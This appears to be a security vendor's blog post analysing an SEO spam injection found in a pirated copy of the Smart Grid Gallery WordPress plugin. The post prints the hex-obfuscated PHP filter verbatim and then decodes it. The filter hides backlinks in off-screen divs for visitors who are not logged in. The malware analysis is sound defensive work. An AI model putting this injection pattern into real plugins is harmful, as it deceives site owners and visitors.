SEO Spam Links in Nulled Plugins

It’s not unusual to see website owners running things on a budget. Choosing a safe and reliable hosting company, buying a nice domain name, boosting posts on social media, and ranking on search engines — all this costs a lot of money. At the end of the day, some site owners may even choose to cut expenses by installing pirated (or nulled) software on their websites.

Unfortunately, as discussed in some of our earlier posts about free software and fake verification, these “free” components may still come with a hefty price tag. The same people who remove the plugin’s or theme’s license checks may have also added some other form of monetization — and most times, the end result is not desirable.

Injection in Smart Grid Gallery Plugin

This time, we identified malicious code injected within the Smart Grid Gallery plugin. The malicious code, which was found injected into the SmartGridGalleryClass.php file, didn’t even try to be discreet.

Seen below, the injection consisted of two long hex encoded strings and an ironic sorry_function.

if( ! function_exists('sorry_function')){ 
   function sorry_function($content) { 
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){ 
   $vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76"; 
   $zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76"; 
   $fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }} 
add_filter('the_content', 'sorry_function');} 

Hidden Divs Boost SEO Rankings

Once decoded, the real intention becomes apparent. It adds a hidden div which links to other two websites — probably related to the same person who nulled the plugin — in an attempt to increase their SEO rankings:

if (!function_exists('sorry_function')) 
    function sorry_function($content) 
        if (is_user_logged_in()) 
            return $content; 
            if (is_page() || is_single()) 
               $vNd25 = '"<div style="position:absolute;top:0;left:-9999px;">Want create site? Find <a href="hxxp://dlwordpress[.]com/">Free WordPress Themes</a> and plugins.</div>"';                 
               $zoyBE = '"<div style="position:absolute;top:0;left:-9999px;">Did you find apk for android? You can find new <a href="hxxps://dlandroid24[.]com/">Free Android Games</a> and apps.</div>"'; 

Evasive Maneuvers & Sources

This injection leverages a WordPress function called add_filter which “allows plugins to modify various types of internal data at runtime.”

In this case, the malicious code combines the site’s valid content with two hidden divs. To avoid detection, specific conditions must be met to add the divs to the site: When there are no users are logged in to the website, only then can the malicious injection be added into pages or posts.

Upon further investigation, we identified that the installed plugin was a nulled version and had been downloaded from the free themes website hxxps://www[.]downloadfreethemes[.]co/smart-grid-gallery-v1-4-0-responsive-wordpress-gallery-plugin/. We were able to download the same plugin with the same injection, however, there is no reference to this site in the code.

Now, regarding the websites referenced in the malicious injection —  dlwordpress[.]com and dlandroid24[.]com — were clearly fake sites used to increase SEO rankings and make money on referral programs for other websites. Using PublicWWW during the writing of this article, dlwordpress was injected on 7,040 sites and dlandroid24 was found on 6,262 sites. Using Majestic we found dlwordpress on 5,000 sites, which is the limit for our account there.

In conclusion, site owners should always avoid installing nulled themes/plugins from any source. A large majority of nulled software contains malicious backdoors or SEO spam injections, which can pose serious security risks to your website’s visitors and environment. You can also audit existing plugins to make sure any nulled software has not been installed on the WordPress environment.

Update: As of Jan 5, 2021, the website dlwordpress[.]com has switched owners and no longer seems to be involved in the Blackhat SEO campaign. It is important to note that Blackhat SEO campaigns can have long-lasting impacts for webmasters, since many sites still send unauthorized backlinks to the domain.

You May Also Like